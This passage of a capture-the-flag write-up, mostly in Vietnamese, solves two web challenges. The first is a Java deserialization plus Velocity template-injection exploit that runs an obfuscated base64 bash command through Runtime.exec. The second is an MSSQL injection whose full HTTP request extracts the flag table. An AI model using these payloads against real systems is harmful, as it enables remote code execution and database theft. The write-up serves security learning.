import com.isitdtu.hihi.Users;
import java.io.*;
import java.time.LocalDate;
import java.time.format.DateTimeFormatter;
import java.util.Base64;
@Controller
public class MainController {
@GetMapping("/")
@ResponseBody
public String index() throws IOException {
Users user = new Users();
user.setName("$date.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -c {echo,Y2QgL3RtcC90b21jYXQtZG9jYmFzZSo7bHMgL2FwcC8gPiBoaWhp}|{base64,-d}|{bash,-i}')");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(user);
oos.flush();
oos.close();
byte[] byteArray = bos.toByteArray();
String hexString = Encode.bytesToHex(byteArray);
String data = Base64.getEncoder().encodeToString(hexString.getBytes());
return data;
}
@PostMapping(value = "/")
@ResponseBody
public String hello(@RequestParam("data") String data) throws IOException {
String hexString = new String(Base64.getDecoder().decode(data));
byte[] byteArray = Encode.hexToBytes(hexString);
ByteArrayInputStream bis = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new SecureObjectInputStream(bis);
String name;
try{
Users user = (Users) ois.readObject();
name= user.getName();
} catch (Exception e) {
throw new RuntimeException(e);
}
if(name.toLowerCase().contains("#")){
return "But... For what?";
}
String templateString = "Hello, " + name+". Today is $date";
Velocity.init();
VelocityContext ctx = new VelocityContext();
LocalDate date = LocalDate.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy");
String formattedDate = date.format(formatter);
ctx.put("date", formattedDate);
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
}
```
```java
Encode.java
package com.isitdtu.hihi.Helpers;
public class Encode {
public static byte[] hexToBytes(String hexString) {
int len = hexString.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+ Character.digit(hexString.charAt(i+1), 16));
}
return data;
}
public static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder(2 * bytes.length);
for (byte b : bytes) {
String hex = Integer.toHexString(b & 0xFF);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
}
```

Gen được payload và post lên /

Có thể thấy nó trả ra một tiến trình -> kiểm tra web root:






flag: `ISITDTU{test_flag}`
Tham khảo: https://blog.csdn.net/weixin_39190897/article/details/139707252
## web/hero
black-box java + mssql no database + no column
Trang web có chức năng reg + đăng nhập -> sau đi đăng nhập ta có thể xem danh sách các hero.



Có old hero và genZ hero, ở genZ hero cho phép truyền param id và nhận người dùng có id tương ứng
Nhìn qua mình có thể đoán được mục đích có thể là sqli
Ban đầu thì thử được `GET /genZ?id='2'+or+1%3d1--` trả ra cả 3 kết quả -> nhưng mà không dùng được các loại khác để hiển thị thông tin các bảng hoặc sqli được nữa.

-> Ban đầu thì mình nghĩ không đơn giản như vậy -> nên đã thử qua `/old_heroes`

thử fuzz param đầu tiên nhưng quên mất là thiếu session nên không thể tìm thấy
https://github.com/whiteknight7/wordlist/blob/main/fuzz-lfi-params-list.txt

tìm được param name có điểm khác biệt

Mọi người trong team đã thử mọi cách và biết được một phần của câu lệnh sẽ là `...payload.* FROM OldHeroDB..payload WHERE OldHeroDB..payload.Id = 1`
Mình đã thử dùng nhiều cách để tìm ra table name nằm trong database `OldHeroDB` bằng nhiều wordlist
Sau một hồi thử thì dùng được `GET /old_heroes?name=name+FROM+sys.databases+WHERE+name+like+'1'--+-` là nếu mà column name có tồn tại trong bảng sys.databases thì sẽ trả ra thông báo không tìm thấy tại `OldHeroDB..name`
Cuối cùng thì phát hiện ra OldHeroDB là database không tồn tại trong mssql này nên mình có brute bao nhiêu cũng không được.
`No Database No Table, how do you do MSSQL Injection` key word tìm kiếm là như trên ta có thể thấy bài https://cyku.tw/no-database-mssql-injection/
Về cơ bản thì ta thấy nó gán payload :


Ta không dùng được stack query bởi vì database này thực sự không tồn tại
Bình thường mssql nếu tên cột có space theo sao thì nó được coi là hợp lệ nếu truy vấn con có sử dụng tên cột có khoảng trắng theo sau, thậm chí tên cột không có:


về cơ bản, ta có thể nhận thấy sau space thì sẽ bị lược bỏ, hoặc thậm chí chỉ có mỗi space

```
GET /old_heroes?name=<@urlencode_all>STY as hero_power, @@version as hero_name, 1 as Id from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as OldHeroDB union SELECT 1, flag_value,2 FROM flags-- -<@/urlencode_all> HTTP/1.1
Host: 213.35.127.196:63432
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://213.35.127.196:63432/genZ?id=%272%27+or+1%3d1--
Cookie: JSESSIONID=E0F2D88CB02B3F50E238DC23A4B2082F
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

flag: `ISITDTU{R3g4in_m0t1vation_w1th_s1mpl3_SQL1}`
nguồn tham khảo: https://cyku.tw/no-database-mssql-injection/